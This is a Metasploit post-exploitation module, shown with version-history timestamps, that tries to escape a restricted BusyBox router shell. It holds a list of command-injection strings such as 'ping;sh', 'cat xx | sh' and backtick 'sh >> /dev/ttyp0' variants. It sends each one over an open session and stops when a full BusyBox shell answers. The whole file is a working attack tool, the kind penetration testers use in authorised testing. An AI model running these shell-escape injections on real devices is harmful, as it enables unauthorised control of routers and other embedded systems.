Files
metasploit-gs/modules/post/linux/busybox/jailbreak.rb
T

67 lines
1.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2015-08-28 11:44:57 -05:00
METHODS = [
'cat xx || sh',
'ping || sh',
'echo `sh >> /dev/ttyp0`',
'ping `sh >> /dev/ttyp0`',
'cat `sh >> /dev/ttyp0`',
'cat xx;sh',
'echo xx;sh',
'ping;sh',
'cat xx | sh',
'ping | sh',
'cat ($sh)',
'cat xx && sh',
'echo xx && sh',
'ping && sh'
2015-08-28 11:44:57 -05:00
]
def initialize
super(
'Name' => 'BusyBox Jailbreak ',
2015-08-28 11:44:57 -05:00
'Description' => %q{
2017-09-17 16:00:04 -04:00
This module will send a set of commands to an open session that is connected to a
2015-08-28 11:44:57 -05:00
BusyBox limited shell (i.e. a router limited shell). It will try different known
tricks to jailbreak the limited shell and get a full BusyBox shell.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
2015-08-28 11:44:57 -05:00
res = false
METHODS.each do |m|
res = try_method(m)
break if res
end
print_error('Unable to jailbreak device shell') unless res
end
2015-08-28 11:44:57 -05:00
def try_method(command)
vprint_status("jailbreak sent: #{command}")
session.shell_write("#{command}\n")
(1..10).each do
2015-08-28 11:44:57 -05:00
resp = session.shell_read
next unless resp.to_s.length > 0
vprint_status("jailbreak received: #{resp}")
if resp.downcase =~ /busybox/i && resp.downcase =~ /built.*in shell/i
2015-08-28 11:44:57 -05:00
print_good("Jailbreak accomplished with #{command}")
return true
end
end
2015-08-28 11:44:57 -05:00
false
end
end